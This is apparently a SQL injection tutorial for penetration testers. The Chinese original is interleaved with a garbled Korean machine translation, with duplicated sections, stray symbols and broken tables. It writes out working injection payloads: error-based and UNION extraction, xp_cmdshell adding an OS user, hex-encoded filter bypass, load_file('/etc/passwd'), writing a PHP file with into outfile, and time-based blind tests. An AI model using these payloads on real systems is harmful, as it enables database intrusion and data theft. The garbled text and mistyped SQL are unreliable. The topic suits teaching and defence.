SQL 주입의 세 가지 방법은 다음과 같습니다. 1. 숫자 주입, 입력 매개변수가 정수인 경우 숫자 주입 취약점이 있을 수 있습니다. 2. 문자 주입; 입력 매개변수가 문자열인 경우 문자 주입 취약점이 존재할 수 있습니다. 3. 기타 유형(예: 검색 삽입, 쿠키 삽입, POST 삽입 등)
SQL 주입 원리
SQL 주입 공격은 특수한 입력을 매개 변수로 구성하여 웹 애플리케이션에 전달하는 것을 의미하며 이러한 입력의 대부분은 SQL 문을 실행하여 SQL 구문의 일부 조합입니다. 그런 다음 가장 큰 이유는 프로그램이 사용자가 입력한 데이터를 세심하게 필터링하지 않아 불법 데이터가 시스템에 침입하기 때문입니다.
SQL 주입 분류
1. 숫자 주입
입력 매개변수가 정수인 경우 숫자 주입 취약점이 있을 수 있습니다.
URL이 있다고 가정합니다: HTTP://www.aaa.com/test.php?id=1
HTTP://www.aaa.com/test.php?id=1
可以对后台的 SQL 语句猜测为:SELECT * FROM table WHERE id=1
判断数字型漏洞的 SQL 注入点:
① 先在输入框中输入一个单引号 '
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE id=1'
,
不符合语法,所以该语句肯定会出错,导致脚本程序无法从数据库获取数据,从而使原来的页面出现异常。
② 在输入框中输入 and 1 = 1
SQL语句变为:
SELECT * FROM table WHERE id=1 and 1 = 1
语句正确,执行正常,返回的数据与原始请求无任何差异。
③ 在数据库中输入 and 1 = 2
SQL 语句变为:
SELECT * FROM table WHERE id=1 and 1 = 2
虽然语法正确,语句执行正常,但是逻辑错误,因为 1 = 2 为永假,所以返回数据与原始请求有差异。
如果以上三个步骤全部满足,则程序就可能存在数字型 SQL 注入漏洞。
2. 字符型注入
当输入参数为字符串时,则可能存在字符型注入漏洞。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。
字符型注入最关键的是如何闭合 SQL 语句以及注释多余的代码。
假设后台的 SQL 语句如下:SELECT * FROM table WHERE username = 'admin'
判断字符型漏洞的 SQL 注入点:
① 还是先输入单引号 admin'
来测试
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE username = 'admin''
。
页面异常。
② 输入:admin' and 1 = 1 --
注意:在 admin 后有一个单引号 '
,用于字符串闭合,最后还有一个注释符 --
(两条杠后面还有一个空格!!!)。
SQL 语句变为:
SELECT * FROM table WHERE username = 'admin' and 1 = 1 --
页面显示正确。
③ 输入:admin' and 1 = 2 --
SQL 语句变为:
SELECT * FROM table WHERE username = 'admin' and 1 = 2 --
배경 SQL 문을 다음과 같이 추측할 수 있습니다:
SELECT * FROM table WHERE id=1
숫자 취약점의 SQL 주입 지점을 확인하려면
:① 먼저 입력 상자에 SQL 문과 같은 작은따옴표 '
SELECT * FROM table WHERE id=1'
,
은 구문을 따르지 않으므로 명령문이 확실히 잘못되어 스크립트가 데이터를 얻을 수 없게 됩니다. 데이터베이스에서 가져오므로 원본 페이지가 생성됩니다. 예외가 발생했습니다.
and 1 = 1
을 입력하세요. SELECT * FROM table WHERE id=1 and 1 = 1
and 1 = 2
를 입력하세요. SQL 문은 다음과 같습니다. SELECT * FROM table WHERE id=1 and 1 = 2
구문이 정확하고 문이 정상적으로 실행되지만 1 = 2가 영구적으로 false이므로 논리가 잘못되어 반환된 데이터가 원래 요청과 다릅니다.
입력 매개변수가 문자열인 경우 문자 주입 취약점이 있을 수 있습니다. 숫자 삽입과 문자 삽입의 가장 큰 차이점은 숫자 유형은 작은따옴표로 닫을 필요가 없는 반면,
문자 유형은 일반적으로 작은따옴표로 닫아야 한다는 것입니다. 🎜🎜🎜문자 삽입에서 가장 중요한 것은 🎜SQL 문을 닫는 방법🎜과 🎜중복 코드에 주석을 달는 방법🎜입니다. 🎜🎜백그라운드 SQL 문은 다음과 같다고 가정합니다. 🎜SELECT * FROM table WHERE username = 'admin'
🎜🎜🎜문자 유형 취약점의 SQL 주입 지점 결정🎜: 🎜🎜🎜① 또는 다음을 입력합니다. 🎜🎜🎜 테스트하려면 작은따옴표 먼저admin'. 이러한 SQL 문은 다음과 같습니다. 🎜🎜SELECT * FROM table WHERE 사용자 이름 = 'admin''
. 🎜🎜페이지 예외. 🎜🎜🎜② 입력: admin' 및 1 = 1 --
🎜🎜🎜참고: admin 뒤에는 문자열을 닫는 데 사용되는 작은따옴표 '
가 있습니다. , 그리고 마지막으로 주석 문자 --
가 있습니다(🎜두 개의 막대 뒤에 공백이 있습니다!!!🎜). 🎜🎜SQL 문은 다음과 같습니다. 🎜🎜SELECT * FROM table WHERE 사용자 이름 = 'admin' 및 1 = 1 --
🎜🎜페이지가 올바르게 표시됩니다. 🎜🎜🎜3 입력: admin' 및 1 = 2 --
🎜🎜🎜SQL 문은 다음과 같습니다. 🎜🎜SELECT * FROM table WHERE username = 'admin' and 1 = 2 -- 🎜🎜페이지 오류입니다. 🎜🎜위 3가지 단계가 충족되면 문자 SQL 인젝션이 존재할 수 있습니다. 🎜🎜🎜🎜3. 기타 유형🎜🎜🎜🎜사실 SQL 인젝션에는 숫자와 문자 두 가지 유형만 있는 것 같아요. 많은 사람들은 쿠키 주입, POST 주입, 지연 주입 등과 같은 다른 방법이 있다고 말할 수 있습니다. 🎜그렇지만 이러한 유형의 주입은 궁극적으로 단지 표시 형태가 다르거나 숫자 및 문자 주입의 주입 위치가 다를 뿐입니다. 🎜🎜다음은 몇 가지 일반적인 주입 이름입니다. 🎜🎜🎜POST 주입: 주입된 필드가 POST 데이터에 있습니다. 🎜🎜쿠키 주입: 주입된 필드가 쿠키 데이터에 있습니다. 🎜🎜지연 주입: 데이터베이스 지연 기능을 사용하여 주입됩니다. 🎜🎜 검색 인젝션 : 인젝션 지점은 검색하는 곳🎜🎜base64 인젝션: 인젝션된 문자열은 base64로 암호화되어야 함🎜🎜🎜🎜🎜공통 데이터베이스 인젝션🎜🎜🎜🎜데이터베이스 인젝션의 경우 공격자는 데이터베이스를 사용하여 더 많은 데이터 획득 🎜🎜🎜 데이터 쿼리 🎜🎜 파일 읽기 및 쓰기 🎜🎜 명령어 실행 🎜🎜🎜 공격자는 프로그램 인젝션을 위해 이 세 가지 외에는 아무것도 하지 않습니다. 데이터베이스에 관계없이 다른 데이터베이스에 삽입된 SQL 문이 다를 뿐입니다. 🎜<p>다음은 Oracle 11g, MySQL 5.1 및 SQL Server 2008의 세 가지 데이터베이스에 대한 주입입니다. </p>
<p><span style="font-size: 16px;"><strong>SQL Server</strong></span></p>
<p><strong>1. 오류 메시지를 사용하여 정보 추출</strong></p>
<p>SQL Server 데이터베이스는 오류 정보를 정확하게 찾을 수 있는 매우 좋은 데이터베이스입니다. 오류 메시지를 통해 원하는 데이터를 추출할 수 있습니다. </p>
<p><strong>① 현재 테이블 또는 열 열거 </strong></p>
<p> 이러한 테이블이 존재한다고 가정합니다. </p>
<p><img src="https://img.php.cn/upload/article/000/000/024/0f0e3a4dbc065882893fe9a4274121a6-0.png" alt="SQL 인젝션의 세 가지 방법은 무엇입니까?"><br> 루트 사용자의 세부 정보를 쿼리합니다. SQL 문은 다음과 같이 추측됩니다. <br><code>SELECT * FROM user WHERE username = 'root' AND 비밀번호 = 'root'
SELECT * FROM user WHERE username = 'root' AND password = 'root'
攻击者可以利用 SQL Server 特性来获取敏感信息,在输入框中输入如下语句:' having 1 = 1 --
最终执行的 SQL 语句就会变为:SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --
那么 SQL 的执行器可能会抛出一个错误:
攻击者就可以发现当前的表名为 user、而且存在字段 id。
攻击者可以利用此特性继续得到其他列名,输入如下语句:' GROUP BY users.id HAVING 1 = 1 --
则 SQL 语句变为:SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --
抛出错误:
由此可以看到包含列名 username。可以一次递归查询,知道没有错误消息返回位置,这样就可以利用 HAVING 字句得到当表的所有列名。
注:Select指定的每一列都应该出现在Group By子句中,除非对这一列使用了聚合函数
②. 利用数据类型错误提取数据
如果试图将一个字符串与非字符串比较,或者将一个字符串转换为另一个不兼容的类型,那么SQL 编辑器将会抛出异常。
如下列 SQL 语句:SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)
执行器错误提示:
这就可以获取到用户的用户名为 root。因为在子查询 SELECT TOP 1 username FROM users
中,将查询到的用户名的第一个返回,返回类型是 varchar 类型,然后要跟 int 类型的 1 比较,两种类型不同的数据无法比较而报错,从而导致了数据泄露。
利用此方法可以递归推导出所有的账户信息:SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))
。
通过构造此语句就可以获得下一个 用户名;若把子查询中的 username 换成其他列名,则可以获取其他列的信息,这里就不再赘述。
2. 获取元数据
SQL Server 提供了大量视图,便于取得元数据。可以先猜测出表的列数,然后用 UNION 来构造 SQL 语句获取其中的数据。
如:SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
공격자는 SQL Server 기능을 사용하여 중요한 정보를 얻을 수 있으며 입력 상자에 다음 명령문을 입력합니다.
' 1 = 1 -- code><p>마지막으로 실행된 SQL 문은 다음과 같습니다. </p>
<code>SELECT * FROM user WHERE 사용자 이름 = 'root' AND 비밀번호 = 'root' HAVING 1 = 1 --
공격자 찾을 수 있습니다 현재 테이블 이름은 user이고 필드 ID가 존재합니다. | 공격자는 이 기능을 사용하여 계속해서 다른 열 이름을 얻을 수 있으며 다음 문을 입력합니다. |
---|---|
오류 발생: | 열 이름 username이 포함되어 있는 것을 확인할 수 있습니다. 반환되는 오류 메시지가 없을 때까지 한 번만 재귀적으로 쿼리할 수 있으므로 HAVING 절을 사용하여 테이블의 모든 열 이름을 가져올 수 있습니다. |
②. 데이터를 추출하려면 데이터 유형 오류를 사용하세요 | |
다음 SQL 문: | SELECT * FROM user WHERE 사용자 이름 = 'abc' AND 비밀번호 = 'abc' AND 1 > (SELECT TOP 1 username FROM users) |
이렇게 하면 사용자가 표시됩니다. 사용자 이름은 다음과 같습니다. 뿌리. 하위 쿼리 SELECT TOP 1 username FROM users 에서는 첫 번째 쿼리된 사용자 이름이 반환되므로 반환 유형은 varchar 유형이며 두 유형은 데이터가 다릅니다. 비교하고 오류가 보고되어 데이터가 유출됩니다. |
모든 계정 정보를 재귀적으로 추론하려면 이 방법을 사용하세요. |
2. 메타데이터 획득 | |
SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES | 현재 테이블의 열 수가 2인 경우 다음을 수행할 수 있습니다. UNION 문을 사용하여 현재 데이터베이스 테이블을 가져옵니다. 현재 테이블의 컬럼 개수를 추측하는 방법은 뒤에서 설명하겠습니다. 일반적으로 사용되는 일부 시스템 데이터베이스 보기: |
데이터베이스 보기 | |
3. ORDER BY 절은 열 수를 추측합니다
ORDER BY 문을 사용하여 현재 테이블의 열 수를 확인할 수 있습니다.
예:
① SELECT * FROM users WHERE id = 1
- SQL 실행은 정상입니다SELECT * FROM users WHERE id = 1
——SQL执行正常
②SELECT * FROM users WHERE id = 1 ORDER BY 1
(按照第一列排序)——SQL执行正常
③ SELECT * FROM users WHERE id = 1 ORDER BY 2
(按照第二列排序)——SQL执行正常
④ SELECT * FROM users WHERE id = 1 ORDER BY 3
(按照第三列排序)——SQL 执行正常
⑤ SELECT * FROM users WHERE id = 1 ORDER BY 4
(按照第四列排序)——SQL 抛出异常:
由此可以得出,当前表的列数只有 3 列,因为当按照第 4 列排序时报错了。在 Oracle 和 MySql 数据库中同样适用此方法。
在得知列数后,攻击者通常会配合 UNION 关键字进行下一步的攻击。
4. UNION 查询
UNION 关键字将两个或多个查询结果组合为单个结果集,大部分数据库都支持 UNION 查询。但适用 UNION 合并两个结果有如下基本规则:
① 用 UNION 查询猜测列数
不仅可以用 ORDER BY 方法来猜测列数,UNION 方法同样可以。
在之前假设的 user 表中有 5 列,若我们用 UNION 联合查询:SELECT * FROM users WHERE id = 1 UNION SELECT 1
数据库会发出异常:
可以通过递归查询,直到无错误产生,就可以得知 User 表的查询字段数:UNION SELECT 1,2
、UNION SELECT 1,2,3
也可以将 SELECT 后面的数字改为 null、这样不容易出现不兼容的异常。
② 联合查询敏感信息
在得知列数为 4后,可以使用一下语句继续注入:UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U'
(注:xtype=‘U’ 表示对象类型是表)
若第一列的数据类型不匹配,数据库会报错,那么可以递归查询,直到语句兼容。等到语句正常执行,就可以将 x 换为 SQL 语句,查询敏感信息。
5. 利用SQL Server 提供的系统函数
SQL Server 提供了非常多的系统函数,利用该系统函数可以访问 SQL Server 系统表中的信息,而无需使用 SQL 查询语句。
如:
6. 存储过程
存储过程 (Stored Procedure) 是在大型数据库系统中为了完成特定功能的一组 SQL “函数”,如:执行系统命令、查看注册表、读取磁盘目录等。
攻击者最长使用的存储过程是 “xp_cmdshell”,这个存储过程允许用户执行操作系统命令。
例如:http://www.aaa.org/test.aspx?id=1
中存在注入点,那么攻击者就可以实施命令攻击:http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'
最终执行的 SQL 语句如下:SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'
②SELECT * FROM users WHERE id = 1 ORDER BY 1
(에 따라) 하나의 열로 정렬) - SQL 실행은 정상
3 SELECT * FROM users WHERE id = 1 ORDER BY 2
(두 번째 열로 정렬) - SQL 실행은 정상
SELECT * FROM users WHERE id = 1 ORDER BY 3
(세 번째 열 기준으로 정렬) - SQL 실행은 정상입니다 ⑤ SELECT * FROM users WHERE id = 1 ORDER BY 4
(정렬) 네 번째 열 열 정렬) - SQL에서 예외가 발생합니다: 공격자는 일반적으로 컬럼 수를 파악한 후 UNION 키워드로 협력하여 다음 공격을 수행합니다. | 4. UNION 쿼리 |
---|---|
모든 쿼리의 열 개수는 동일해야 합니다. | 데이터 유형이 호환되어야 합니다 |
이전에 가정한 사용자 테이블에는 UNION을 사용하여 쿼리하는 경우 5개의 열이 있습니다. | SELECT * FROM users WHERE id = 1 UNION SELECT 1 | 데이터베이스에서 예외가 발생합니다.
UNION SELECT 1,2 , UNION SELECT 1,2,3
|
다음 번호를 변경할 수도 있습니다. SELECT를 null로 지정하면 호환되지 않는 예외가 발생할 가능성이 줄어듭니다. |
열 개수가 4개인 것을 확인한 후 다음 문을 사용하여 계속 주입할 수 있습니다. | UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype ='U' (참고: xtype='U'는 객체 유형이 테이블임을 의미합니다.) |
5. SQL Server에서 제공하는 시스템 기능을 사용하세요 | |
예: | 6. 저장 프로시저 |
저장 프로시저(Stored Procedure)는 대규모 데이터베이스 시스템에서 시스템 명령 실행과 같은 특정 기능을 완료하는 데 사용되는 SQL "함수" 집합입니다. , 레지스트리 보기, 디스크 디렉터리 읽기 등 | 공격자가 가장 일반적으로 사용하는 저장 프로시저는 | "xp_cmdshell"
http ://www .aaa.org/test.aspx?id=1; exec xp_cmdshell 'net user test test /add' |
최종 실행된 SQL 문은 다음과 같습니다. |
사용자는 CONTROL SERVER 권한 | 을 보유해야 합니다.일반적으로 위험한 저장 프로시저는 다음과 같습니다. |
또한 모든 데이터베이스에는 일부 특수 기능이나 저장 프로시저를 사용할 때 특정 권한이 필요합니다. 일반적인 SQL Server 데이터베이스 역할 및 권한은 다음과 같습니다.
roles | permissions |
---|---|
bulkadmin | BULK INSERT 문 실행 가능 |
dbcreator | 생성, 변경, 삭제 및 무엇이든 복원 Database |
diskadmin | 디스크 파일을 관리할 수 있습니다 |
processadmin | 데이터베이스 엔진에서 실행되는 인스턴스를 심을 수 있습니다 |
securityadmin | 로그인 및 해당 속성을 관리할 수 있습니다. 수준 권한, GRANT, DENY 및 REVOKE 데이터베이스 수준 권한을 활용할 수도 있습니다. SQL Server 로그인의 비밀번호를 재설정할 수도 있습니다. |
serveradmin | 서버 전체 구성 옵션을 변경하고 서버를 종료할 수 있습니다 |
setupadmin | 은 연결된 서버를 추가 및 제거할 수 있으며 특정 시스템 저장 프로시저를 실행할 수 있습니다. |
sysadmin | 데이터베이스 엔진에서 모든 활동을 수행할 수 있습니다 |
7. 동적 실행
SQL Server는 명령문의 동적 실행을 지원합니다. 사용자는 문자열을 제출하여 SQL 문을 실행할 수 있습니다.
예: exec('SELECT 사용자 이름, 비밀번호 FROM 사용자')
exec('SELECT username, password FROM users')
也可以通过定义十六进制的 SQL 语句,使用 exec 函数执行。大部分 Web 应用程序和防火墙都过滤了单引号,利用 exec 执行十六进制 SQL 语句可以突破很多防火墙及防注入程序,如:
declare @query varchar(888) select @query=0x73656C6563742031 exec(@query)
或者:declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)
MySQL
前面详细讲述了 SQL Server 的注入过程,在注入其他数据库时,基本思路是相同的,只不过两者使用的函数或者是语句稍有差异。
1. MySQL 中的注释
MySQL 支持以下 3 中注释风格:
2. 获取元数据
MySQL 5.0 及其以上版本提供了 INFORMATION_SCHEMA,这是一个信息数据库,它提供了访问数据库元数据的方式。下面介绍如何从中读取数据库名称、表名称以及列名称。
① 查询用户数据库名称SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
INFORMATION_SCHEMA.SCHEMATA 表提供了关于数据库的信息。
②查询当前数据表SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())
INFORMATION_SCHEMA.TABLES 表给出了数据库中表的信息。
③查询指定表的所有字段SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'
INFORMATION_SCHEMA.COLUMNS 表中给出了表中的列信息。
3. UNION 查询
与 SQL Server 大致相同,此处不赘述。
4. MySQL 函数利用
无论是 MySQL、Oracle 还是其他数据库都内置了许多系统函数,这些数据库函数都非常类似,接下来介绍一些对渗透测试人员很有帮助的 MySQL 函数。
① load_file() 函数读文件操作
MySQL 提供了 load_file() 函数,可以帮助用户快速读取文件,但文件的位置必须在服务器上,文件必须为绝对路径,且用户必须有 FILE 权限,文件容量也必须小于 max_allowed_packet 字节 (默认为 16MB,最大为 1GB)。
SQL 语句如下:UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #
通常一些防注入语句不允许单引号出现,那么可以使用一下语句绕过:UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #
“0x2F6561342F706173737764” 为 “/etc/passwd” 的十六进制转换结果。
在浏览器返回数据时,有可能存在乱码问题,那么可以使用 hex() 函数将字符串转换为十六进制数据。
② into outfile 写文件操作
MySQL 提供了向磁盘写文件的操作,与 load_file() 一样,必须有 FILE 权限,并且文件必须为全路径名称。
写入文件:SELECT '<?php phpinfo();?>' into oufile 'C:wwwroot1.php'
③ 连接字符串
MySQL 如果需要一次查询多个数据,可以使用 concat() 或 concat_ws() 函数来完成。
SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version())
;
也可以将逗号改用十六进制表示:0x2c
5. MySQL 显错式注入
MySQL 也存在显错式注入,可以像 SQL Server 数据库那样,使用错误提取消息。
① 通过 updatexml 函数执行 SQL 语句
首先了解下updatexml()函数:
updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串) ,
第三个参数:new_value,String格式,替换查找到的符合条件的数据
SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1)
또한 16진수 SQL 문을 정의하고 exec 함수를 사용하여 실행할 수도 있습니다. 대부분의 웹 애플리케이션과 방화벽은 작은따옴표를 필터링합니다. exec를 사용하여 16진수 SQL 문을 실행하면
rrreee 또는
declare/**/@질문/** /varchar( 888)/**/선택하다/**/@query=0x73656C6563742031/**/exec(@query)
🎜🎜🎜MySQL🎜🎜🎜SQL Server의 인젝션 과정은 앞에서 자세히 설명했습니다. 데이터베이스, 🎜기본적인 아이디어는 동일하지만 둘이 사용하는 함수나 명령문은 약간 다릅니다🎜. 🎜🎜🎜1. MySQL의 주석 🎜🎜🎜MySQL은 다음 3가지 주석 스타일을 지원합니다: 🎜INFORMATION_SCHEMA.SCHEMATA에서 SCHEMA_NAME 선택
🎜INFORMATION_SCHEMA.SCHEMATA 테이블은 데이터베이스에 대한 정보를 제공합니다. 🎜🎜②현재 데이터 테이블 쿼리🎜SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())
🎜INFORMATION_SCHEMA.TABLES 테이블은 데이터베이스의 테이블에 대한 정보를 제공합니다. 🎜🎜3지정된 테이블의 모든 필드를 쿼리합니다.🎜SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'
🎜INFORMATION_SCHEMA.COLUMNS 테이블에 포함된 열 정보가 테이블에 제공됩니다. 🎜🎜🎜3. UNION 쿼리🎜🎜🎜는 SQL Server와 거의 동일하므로 여기서는 설명하지 않습니다. 🎜🎜🎜4. MySQL 기능 활용🎜🎜🎜MySQL, Oracle 또는 기타 데이터베이스에 내장된 시스템 기능은 매우 유사합니다. 다음으로 매우 유용한 몇 가지 MySQL 기능을 소개하겠습니다. 침투 테스터. 🎜🎜🎜① 파일을 읽는 load_file() 함수 🎜🎜🎜MySQL은 사용자가 파일을 빠르게 읽을 수 있도록 load_file() 함수를 제공하지만, 파일의 위치는 서버에 있어야 하고, 파일은 절대 경로여야 하며, 사용자는 FILE 권한이 있어야 하며, 파일 크기도 max_allowed_packet 바이트보다 작아야 합니다(기본값은 16MB, 최대값은 1GB). 🎜🎜SQL 문은 다음과 같습니다. 🎜UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #
🎜🎜보통 일부 삽입 방지 문에서는 작은따옴표 표시를 허용하지 않습니다. 이므로 다음 문을 사용할 수 있습니다. Bypass: 🎜UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #
🎜 "0x2F6561342F706173737764"는 "/etc/passwd"의 16진수 변환 결과입니다. 🎜🎜브라우저가 데이터를 반환할 때 문자가 깨져 보일 수 있으므로 hex() 함수를 사용하여 문자열을 16진수 데이터로 변환할 수 있습니다. 🎜🎜🎜② outfile 파일 쓰기 작업🎜🎜🎜MySQL은 파일을 디스크에 쓰는 작업을 제공합니다. load_file()과 마찬가지로 FILE 권한이 있어야 하며 파일은 전체 경로 이름이어야 합니다. 🎜🎜파일에 쓰기: 🎜SELECT '<?php phpinfo();?>'를 oufile 'C:wwwroot1.php'
🎜🎜🎜3 연결 문자열 🎜🎜🎜MySQL 필요한 경우 한 번에 여러 데이터를 쿼리하려면 concat() 또는 concat_ws() 함수를 사용하여 완료할 수 있습니다. 🎜🎜SELECT name FROM 학생 WHERE id = 1 UNION SELECT concat(user(), ',', Database(), ',', version())
;🎜🎜 대신 쉼표를 사용할 수도 있습니다. 16진수 표현: 0x2c🎜🎜🎜5. MySQL 명시적 오류 주입🎜🎜🎜MySQL에는 오류를 사용하여 SQL Server 데이터베이스와 같은 메시지를 추출할 수 있는 명시적 오류 주입 기능도 있습니다. 🎜🎜🎜① updatexml 함수를 통해 SQL 문 실행 🎜🎜🎜 먼저 updatexml() 함수를 이해하세요. 🎜updatexml (XML_document, XPath_string, new_value) 🎜 첫 번째 매개변수: XML_document 는 문자열 형식이며 XML 문서의 이름입니다. object; 🎜 두 번째 매개변수: , (concat(0x7c, (SELECT @@version))), 1)🎜 concat() 함수는 이를 문자열로 연결하므로 XPATH_string 형식을 따르지 않습니다. , 형식 오류가 발생하면 오류를 보고할 때 인식할 수 없는 콘텐츠가 표시됩니다: 🎜🎜🎜② extractvalue 함수를 통해SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))
SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))
同样报错显示出当前用户:
6. 宽字节注入
宽字节注入是由编码不统一所造成的,这种注入一般出现在 PHP + MySQL中。
在 PHP 配置文件 php.ini 中存在 magic_quotes_gpc 选项,被称为魔术引号,当此选项被打开时,使用 GET、POST、Cookie 所接受的 单引号(’)、双引号(")、反斜线() 和 NULL 字符都会自动加上一个反斜线转义。
如下使用 PHP 代码使用 $_GET 接收参数:
如访问URL:http:/www.xxser.com/Get.php?id='
,显示如下:
单引号'
被转义后就变成了'
,在 MySQL 中,'
是一个合法的字符,也就没办法闭合单引号,所以,注入类型是字符型时无法构成注入。
但是若是输入:%d5'
,访问URL:http:/www.xxser.com/Get.php?id=%d5'
,显示如下:
可以发现,这次单引号没有被转义,这样就可以突破 PHP 转义,继续闭合 SQL 语句进行 SQL 注入。
7. MySQL 长字符截断
MySQL 超长字符截断又名 “SQL-Column-Truncation”。
在 MySQL 中的一个设置里有一个 sql_mode 选项,当 sql_mode 设置为 default 时,即没有开启 STRICT——ALL_TABLES 选项时,MySQL 对插入超长的值只会提示 waring,而不是 error。
假设有一张表如下:
username 字段的长度为 7。
分别插入一下 SQL 语句:
① 插入正常 SQL 语句:INSERT users(id, username, password) VALUES(1, 'admin', 'admin');
成功插入。
② 插入错误的 SQL 语句,使 username 字段的长度超过7:INSERT users(id, username, password) VALUES(2, 'admin ', 'admin');
虽然有警告,但是成功插入了。
③ 再尝试插入一条错误的 SQL 语句,长度同一超过原有的规定长度:INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;
查询数据库:
可以看到,三条数据都被插入到数据库中,但是值发生了变化。在默认情况下,如果数据超出默认长度,MySQL 会将其阶段。
但是这样怎么攻击呢?通过查询用户名为 admin 的用户:
可以发现,只查询用户名为 admin 的用户,但是另外两个长度不一致的 admin 用户也被查询出,这样就会造成一些安全问题。
比如有一处管理员登录时这样判断的:$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND password = '***'";
那么攻击者只需要注册一个长度超过规定长度的用户名“admin ”即可轻易进入后台管理页面。
8. 延时注入
延时注入属于盲注技术的一种,是一种基于时间差异的注入技术。下面以 MySQL 为例介绍延时注入。
在 MySQL 中有一个函数:sleep(duration),这个函数意思是在 duration 参数给定数秒后运行语句,如下 SQL 语句:SELECT * FROM users WHERE id = 1 AND sleep(3)
같은 오류가 보고되어 현재 사용자:
http://www.xxser.com/Get .php?id=', 다음과 같이 표시됨: 🎜<img.php.cn alt=" 여기에 이미지 설명 삽입"></img.php.cn> 🎜🎜작은따옴표 <code>'
는 이스케이프된 후 '
가 됩니다. MySQL에서는 '
가 유효한 문자이므로 메소드가 작은따옴표를 닫으므로 주입 유형이 문자 유형인 경우 주입 유형을 형성할 수 없습니다. 🎜🎜단, %d5'
를 입력하면 URL: http로 이동합니다. :/www.xxser.com/Get.php?id=%d5'
, 다음과 같이 표시됨: 🎜🎜이번에는 작은따옴표가 이스케이프되지 않은 것을 확인할 수 있으므로 PHP 이스케이프를 뚫고 계속해서 SQL 주입을 위한 SQL 문을 닫을 수 있습니다. 🎜🎜🎜7. MySQL 긴 문자 잘림은 "SQL-Column-Truncation"이라고도 합니다. 🎜MySQL 설정에 sql_mode 옵션이 있습니다. 즉, STRICT-ALL_TABLES 옵션이 켜져 있지 않으면 MySQL은 너무 긴 문자를 삽입합니다. 값은 오류가 아닌 경고만 표시합니다. 🎜🎜다음과 같은 테이블이 있다고 가정합니다. 🎜🎜사용자 이름 필드의 길이는 7입니다. 🎜🎜각각 SQL 문 삽입: 🎜① 일반 SQL 문 삽입: 🎜INSERT users(id, username, Password) VALUES(1, 'admin', 'admin');
🎜🎜삽입에 성공했습니다. 🎜🎜② 사용자 이름 필드의 길이가 7을 초과하도록 잘못된 SQL 문을 삽입: 🎜INSERT users(id, username,password) VALUES(2, 'admin', 'admin');
🎜 🎜경고가 있었지만, 성공적으로 삽입되었습니다. 🎜🎜3 원래 지정된 길이를 초과하는 동일한 길이로 잘못된 SQL 문을 다시 삽입해 보십시오: 🎜INSERT users(id, username,password) VALUES(3, 'admin x), 'admin;
🎜🎜🎜데이터베이스 쿼리: 🎜🎜보시다시피 세 가지 데이터가 모두 데이터베이스에 삽입되었지만 값이 변경되었습니다. 기본적으로 MySQL은 데이터가 기본 길이를 초과하는 경우 데이터를 준비합니다. 🎜🎜그런데 어떻게 이렇게 공격을 할까요? 사용자 이름이 admin인 사용자를 쿼리하여: 🎜$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND Password = '***'"; code>🎜🎜 그러면 공격자는 지정된 길이를 초과하는 사용자 이름 "admin"만 등록하면 백엔드 관리 페이지에 쉽게 들어갈 수 있습니다. 🎜🎜🎜8. 지연 주입🎜🎜🎜지연 주입은 일종의 블라인드 주입 기술로, 시간차를 이용한 주입 기술이다. 다음은 MySQL을 예로 들어 지연 주입을 소개합니다. 🎜🎜MySQL에는 sleep(duration)이라는 함수가 있습니다. 이 함수는 다음 SQL 문이 제공된 후 몇 초 후에 명령문을 실행한다는 의미입니다. 🎜<code>SELECT * FROM users WHERE id = 1 AND sleep (3)🎜는 3초 후에 SQL 문이 실행된다는 의미입니다. 🎜<p><strong>이 함수를 사용하면 해당 URL에 SQL 주입 취약점이 있는지 확인할 수 있습니다</strong>. 단계는 다음과 같습니다. <br><img src="https://img.php.cn/upload/article/000/000/024/1166284aff984436d0c2972083f47052-17.png" alt="SQL 인젝션의 세 가지 방법은 무엇입니까?"><br>DBMS가 <code>를 실행하고 sleep( 3)
문을 통해 해당 URL에 SQL 주입 취약점이 있는지 확인할 수 있습니다. and sleep(3)
语句,这样一来就可以判断出 URL 存在 SQL 注入漏洞。
然后通过 sleep() 函数还可以读出数据,但需要其他函数的配合,步骤如下:
①查询当前用户,并取得字符串长度
执行SQL 语句:AND if(length(user()) = 0, sleep(3), 1)
